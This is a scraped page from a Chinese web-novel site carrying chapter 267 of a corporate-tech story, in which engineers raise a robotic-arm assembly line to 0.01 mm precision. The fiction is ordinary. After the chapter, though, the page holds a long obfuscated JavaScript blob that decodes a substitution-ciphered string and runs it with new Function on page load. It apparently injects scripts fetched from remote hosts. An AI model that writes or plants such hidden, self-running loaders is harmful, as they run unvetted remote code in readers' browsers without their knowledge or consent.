首页
第267章 机械臂自动化精度
返回
关灯 护眼:关 字号:小

第267章 机械臂自动化精度突破0.01mm

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    原本用于小批量验证的精密装配线,被连夜改成了一条「半实验丶半生产」的战地工位。原先固定节拍的治具台被拆开重排,几台高精度工业相机临时加装在机械臂两侧,扫描工位与预压工位之间多出了一段本不该存在的缓冲轨道。轨道上,一块块还未正式进入总装的显示模组被单独编号,像一排等待审判的样本。
    白板上密密麻麻写满了新参数。
    夹持点位置偏移量。
    GOOGLE搜索TWKAN
    预压峰值窗口。
    步进细分倍率。
    锁附前等待释放时间。
    模组边缘回弹观测值。
    每一项后面,都被人用不同颜色笔标出风险等级和优先级。那不是普通试制现场会出现的画面,更像某种多兵种协同的临时指挥阵地。
    张京京站在机械臂控制台前,盯着屏幕上那行刚被赵静同步过来的推断结果,久久没有说话。
    「若装配步进精度提升一个数量级,局部形变扩散概率将显着下降。」
    很短的一句话。
    可真正懂装配的人都知道,这不是「把参数再调细一点」就能解决的建议。
    一个数量级,意味着控制逻辑丶伺服响应丶反馈闭环丶视觉校正丶夹持刚度乃至整套设备的运动哲学,都得重做。
    身旁的设备平台主管赵川已经把外套脱了,袖口卷到手肘,脸上满是熬夜后的紧绷感。他是制造平台自动化方向的核心负责人之一,平时负责的多是量产线效率优化和设备稳定性爬坡,像今晚这种把量产逻辑整个掀翻重搭的场面,他也很少碰见。
    「要到0.01毫米?」他盯着那行字,声音压得很低,「重复定位和单点校准,实验室里不是做不到。但你们要的是连续动作下丶带柔性补偿的全过程控制。这不是同一个难度。」
    张京京没接这句话,只问了一句:「现在线体做到多少?」
    赵川立刻报出数值:「稳定状态下,关键工位综合控制精度能压到0.08毫米附近,极限挑件加慢速模式,可以逼近0.05毫米,但那是单点丶低速丶非连续压合条件。」
    「飞星不够。」张京京说。
    「我知道不够。」赵川苦笑了一下,「问题是你们要的不是静止世界里的0.01毫米,而是带材料弹性丶带微应力释放丶带个体差异的动态0.01毫米。这不是把速度调慢十倍就能换来的。」
    站在另一侧的金秉洙沉声插话:「那就别再拿普通量产设备的思路想。飞星现在要的是『知道自己在压什麽』的设备,不是只会重复动作的设备。」
    这句话让赵川眉头一跳。
    他本来还想再说设备边界,可听到这里,反而安静了两秒。因为他忽然意识到,这场仗最棘手的地方,不是精度指标本身,而是飞星已经不再满足于传统自动化的定义——
    过去的自动化追求的是一致。
    而飞星现在需要的,是在不同个体丶不同微差条件下,依然能做出最合适动作的「一致性」。
    这几乎是在要求设备具备某种局部认知能力。
    不远处,赵静带着AI研究院的两名工程师从数据区快步走了过来,手里还拿着刚更新的一版工业模型预判图。
    「新一轮推演出来了。」她没有绕弯,「不是所有动作都要提升一个数量级,只要把两个关键阶段打穿就够。」
    她把图投到控制台旁边的小屏幕上。
    第一阶段:模组预定位后的第一次受力建立。
    第二阶段:锁附前最后一轮压合路径修正。
    图中清晰标出了两个高敏感窗口。小芯工业模型通过前几轮样本,把最容易触发形变记忆扩散的时刻捞了出来。换句话说,飞星的问题并不是从头到尾都在失控,而是在某几个极小的关键节点上,一旦动作过粗丶受力过猛丶响应不及时,后面的全部边界连续感都会被拖偏。
    赵川看着那张图,眼神慢慢变了。
    「也就是说,我们不用把整条动作曲线都推到0.01毫米控制,只需要把关键段打进这个级别?」
    「现在看,是。」赵静点头,「但前提是设备必须实时知道模组当前状态,而不是按固定脚本执行。」
    赵川长长吐出一口气。
    这就不是完全不可能了。
    难度仍旧极高,但至少不再像刚才那样,像是要把整条量产线全推翻重来。只要能把最敏感的那两个窗口抓住,设备的改造范围就能被收敛。
    林薇到场的时候,已经接近凌晨四点。
    她显然刚从结构联调区赶来,手里还拿着一叠边界扫描图,发尾有些凌乱,眼神却异常清醒。她一进实验区,没有先问结果,而是直接走到那台正在待机的机械臂前,盯着末端夹持器看了几秒。
    「现在的问题,不只是精度。」她忽然说。
    几个人同时看向她。
    「夹持方式也要变。」林薇抬手点了点末端执行机构,「这套夹持器的设计逻辑,是把模组固定住,避免它乱动。但飞星现在抓到的规律告诉我们,某些模组不是不能动,而是不能被用错误方式固定。」
    赵川一怔,立刻反应过来:「你是说,夹得越死,越容易把那一点方向性应力锁进去?」
    「对。」林薇点头,「飞星的边界太极限了,模组不是钢块。它有自己的微弹性丶自己的释放路径。设备如果只追求『压到位』,那它其实是在把问题提前写进去。」
    张京京立刻接上:「那夹持器得改成分区柔性控制。」
    赵川已经在脑子里推结构方案了:「硬夹持改成分段夹持,关键接触点增加微量浮动补偿,预压阶段允许局部释放,锁附前再二次收敛……」
    他说着说着,自己都停了一下。
    因为这思路一旦成立,飞星要改的就不仅是程序,而是整套装备末端系统。
    「做不做得出来?」张京京问得很直接。
    赵川沉默了两秒,说:「给我两个小时,我先拉设备组出一版临时改造方案。」
    「不是一版。」林薇看着他,「至少两版。一版保守,一版激进。飞星现在不怕乱,怕的是不碰边界。」
    赵川点了点头,转身就走。
    他刚走出两步,又像想起什麽似的回头问:「控制精度如果真要进0.01毫米级,我们现有伺服采样频率不够,反馈延迟也会拖后腿。控制器要重新刷底层参数,视觉回路要插进主控制环,不然就是纸上谈兵。」
    赵静立即说:「AI研究院这边给你并一组实时识别的人,视觉特徵不走离线分析,直接做轻量前馈。」
    「我要的是工业级,不是演示级。」赵川说。
    赵静看着他,语气平得像没情绪:「飞星现在也不是演示项目。」
    两人对视一秒,没有再多说。
    凌晨四点四十,未来科技自动化设备团队被整批拉进飞星战时频道。
    会议没有开在会议室里,而是直接站在试制线边完成。工程师们围着白板丶控制台和拆开的末端执行器,一边听张京京讲现象,一边看赵静同步出来的形变记忆路径图。一开始,设备组里还有人本能地用「量产不现实」「重复控制成本太高」「现有平台不适合」这样的语言说话,但只用了十分钟,这些词就被张京京全部打断了。
    「不要再说平台适不适合。」他把雷射笔点在模组边界热图最敏感的位置上,「飞星不是问你们量产舒服不舒服,而是问你们这条规律,设备能不能打断。」
    整个临时会议区一片安静。
    赵川这时把自己刚想出来的框架画上白板。
    三个关键词,被他写得很大:
    视觉前馈
    柔性夹持
    微步进压合
    「第一,机械臂不再按固定轨迹装配,每次动作前先扫一遍模组边缘状态,识别是否存在方向性初始偏差;第二,夹持器改成分区可调,不再一口气把受力锁死;第三,在预定位到锁附前的关键区间,把步进细化到原来的十分之一,同时插入动态补偿点。」
    设备组里一名资深控制工程师下意识说道:「十分之一?那节拍会直接炸掉。」
    赵川看了他一眼:「现在谁在乎节拍?」
    那人立刻闭嘴。
    因为在飞星战时状态下,「节拍」这个词确实已经暂时失去了优先级。现在所有人要的不是一分钟装几台,而是能不能证明下一代终端的边界有人打得穿。
    林薇一直没说话,直到白板上的三项思路基本成形,她才开口补了一句:
    「还差一个东西。」
    众人望向她。
    「状态确认。」她说,「设备不能只知道自己做了什麽动作,还要知道动作之后,模组变成了什麽状态。否则控制再精细,也只是更精细地盲装。」
    赵静眼神一亮:「装配中间插一次快速边界扫描?」
    「不是一次。」林薇摇头,「关键节点都要有确认。飞星的问题已经证明了,连续动作里最危险的不是大偏差,而是那些看起来还在合格区丶但已经朝错误方向积累的小偏差。我们必须让设备在过程中看见它。」
    赵川低头在白板上又写下第四项:
    中间态确认
    这四个字写上去之后,整套方案的味道彻底变了。
    它已经不像一台传统产线设备的改造,更像一套带感知丶带判断丶带反馈的微型系统。
    赵静看着白板,忽然低声说了一句:「这才像飞星。」
    没人接话,但很多人的心里都同时闪过同一种感觉——飞星这台终端,正在逼着整个制造体系从「按图装配」走向「理解对象后再装配」。
    天快亮的时候,第一版临时改造方案终于完成。
    机械臂底层控制参数被重刷,动作曲线被切得更细,末端夹持器也用现场能拿到的快速加工件做出了一套粗糙但可验证的分区柔性结构。工业视觉组则把两台高倍相机直接并进了关键工位,配合小芯轻量工业模型,形成一个最简闭环。
    看上去并不漂亮。
    很多连接线甚至是临时走的外露路径,控制界面也还停留在工程测试状态,屏幕上全是参数块和告警框。
    可所有人都知道,这一套东西此时比任何渲染图都更重要。
    它不是发布会上的未来感,而是真正决定飞星能不能活着走到那一天的底层能力。
    早上六点十二分,第一块重新编号的模组被送上工位。
    整条临时实验线周围围满了人,却没有一个人说话。
    赵静站在主控屏前,盯着实时曲线。
    张京京和赵川并肩站在控制台边,一个盯装配动作,一个盯反馈数值。
    林薇站得稍远些,目光死死落在模组边缘与中框接触的那个位置,像是要用眼睛把那条几乎不可见的失真趋势提前拽住。
    机械臂缓缓抬起。
    下压。
    停顿。
    视觉前馈识别完成。
    夹持区微调。
    再次下压。
    步进细化。
    中间态确认。
    再修正。
    最后收敛。
    整个过程比平时慢得多,甚至带着一点不属于量产线的「谨慎」。可也正因为慢,每一个动作都显得异常清晰,像是在一层层拆开过去被节拍掩盖掉的所有问题。
    三分钟后,第一块样本完成装配。
    边界扫描立刻跟上。
    所有人同时看向大屏。
    热图展开的那一刻,实验区里连空气都像静了一下。
    右侧中上段,那块此前反覆出问题的高敏感区域,波动值下降了。
    不是完全消失。
    但下降得非常明显。
    赵静几乎是瞬间看向曲线对比图。小芯模型把新样本与前几轮最接近条件的失败样本叠在一起,那条曾经固执重复的异常波形,第一次出现了明显钝化。
    「有效。」她低声说。
    没人欢呼。
    因为一次样本不代表规律被钉死。
    可所有人脸上的神色,都已经变了。
    这不是想像里的有效,也不是靠安慰说出来的「看起来有希望」,而是真真正正写在扫描图和曲线上的改善。
    赵川盯着数据,喉结动了动,像是到这一刻才真正相信,他们正在逼近一件此前连自己都不太敢承认的事。
    「继续。」张京京直接下令,「不要停。按不同批次丶不同曲率恢复组丶不同锁附顺序,把对照样本全跑一遍。」
    第二块丶第三块丶第四块样本很快跟上。
    随着样本数增加,波动开始出现分层。并不是所有模组都被新设备逻辑同样程度地改善,有些改善明显,有些只改善了一半,还有两块样本几乎没什麽变化。
    赵静没有失望,反而精神更集中。
    因为这恰恰说明问题正在从「模糊的大难题」变成「可分组丶可归因丶可继续细拆的工程变量」。无差别全好看,反而可能只是偶然;只有在不同条件下呈现不同响应,规律才是真规律。
    早上七点半,陈醒来到试制楼。
    他没有带人,也没有通知谁出来迎接,只是直接走进实验区,站在最后面,看了五分钟实时数据,然后问了一句:
    「现在能确认什麽?」
    张京京转过身,语速极快:「机械臂控制精度只要打进0.01毫米级的关键窗口,再配合柔性夹持和中间态确认,模组形变记忆有机会被压住,但还不是所有样本都稳定。我们现在抓到的是一条有效路径,不是最终解。」
    陈醒点了点头,又看向赵静。
    赵静很乾脆:「小芯抓到的方向没错。装配步进精度提升一个数量级,确实能显着降低局部形变扩散概率。但接下来还要扩大样本,把哪些模组丶哪些材料组合丶哪些前序路径最吃这套控制,全部分出来。」
    「设备呢?」陈醒看向赵川。
    赵川第一次正面站到飞星总控的视野里,脸上带着通宵之后的疲惫,却没有回避:「临时方案能打到目标窗口,但不够稳定。真正要长期跑,控制器丶视觉回路丶末端夹持器和机械结构刚度都得再上一个台阶。换句话说,飞星现在逼出来的,不是一套参数,是一代新的装配控制能力。」
    陈醒听完,沉默了两秒。
    然后他说:「那就把它做成能力,不要只当临时方案。」
    这句话不重,却让在场不少人心里同时一震。
    因为他们都听懂了其中的分量。
    飞星不是要借一次极限试制勉强过关。
    未来科技要的是,把这条为飞星逼出来的设备能力,真正沉淀成自己手里的制造底座。
    林薇这时接过话:「但要做到这一步,设备组必须提前升级,不然接下来飞星每向前一步,都还会被同样的问题绊住。」
    「资源给你们。」陈醒看着几人,「从今天起,自动化设备团队正式并入飞星一级攻坚链。需要谁丶需要什麽,直接提,不走普通审批。」
    周围一下安静下来。
    这等于宣告,飞星已经不再只是终端丶结构丶AI和制造的联合攻坚,连设备体系本身,也被正式拉入了核心战场。
    赵川眼里那点疲惫后的发沉,第一次被另一种更锋利的光替代。
    他知道,从这一刻起,设备团队没有退路了。
    他们要做的,不是配合飞星,而是和飞星一起,往前打一代工业能力出来。
    陈醒没有在现场停留太久。
    临走前,他只看了一眼那台已经换上临时柔性夹持器的机械臂,淡淡说了一句:
    「0.01毫米不是目标,是门票。」
    说完,他便转身离开。
    可这句话像钉子一样,直接钉进了所有人的心里。
    没人会把它理解成一句激励。
    因为飞星走到现在,每个人都已经明白一个事实——这场仗里,能不能进门,和最后能不能赢,从来不是一回事。0.01毫米,只是证明未来科技有资格继续往下打的第一道门槛。
    上午九点,经过连续十几组样本验证后,飞星临时装配实验线正式确认:
    在关键装配窗口内,将机械臂自动化控制精度推进至0.01毫米级,并引入柔性夹持丶视觉前馈与中间态确认后,模组形变记忆对整机边界连续性的破坏显着下降。
    消息被加密同步到飞星总控组。
    标题只有一句话:
    机械臂自动化精度突破0.01mm,形变扩散首次被有效压制。
    而就在同一时间,另一个方向的加密简报,也抵达了陈醒终端。
    车规晶片平台实验室发来最新状态:
    天权5A首台点亮准备完成,进入最后电源时序校验。
    陈醒看着屏幕,眼神停了一瞬。
    飞星这边,刚刚跨过制造控制的第一道硬门槛。
    汽车那边,车规晶片也已经逼近点亮时刻。
    他没有立刻回复任何人,只是抬头看向窗外清晨被阳光照亮的园区。
    试制楼丶晶片平台实验区丶汽车联调中心,三处核心区域几乎在同一个时间节点同时加速,像三股被强行拧到一起的洪流。
    下一阶段,未来科技要面对的,已经不只是飞星能不能装得更准。
    而是统一算力架构这张更大的图,是否会开始真正落地。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();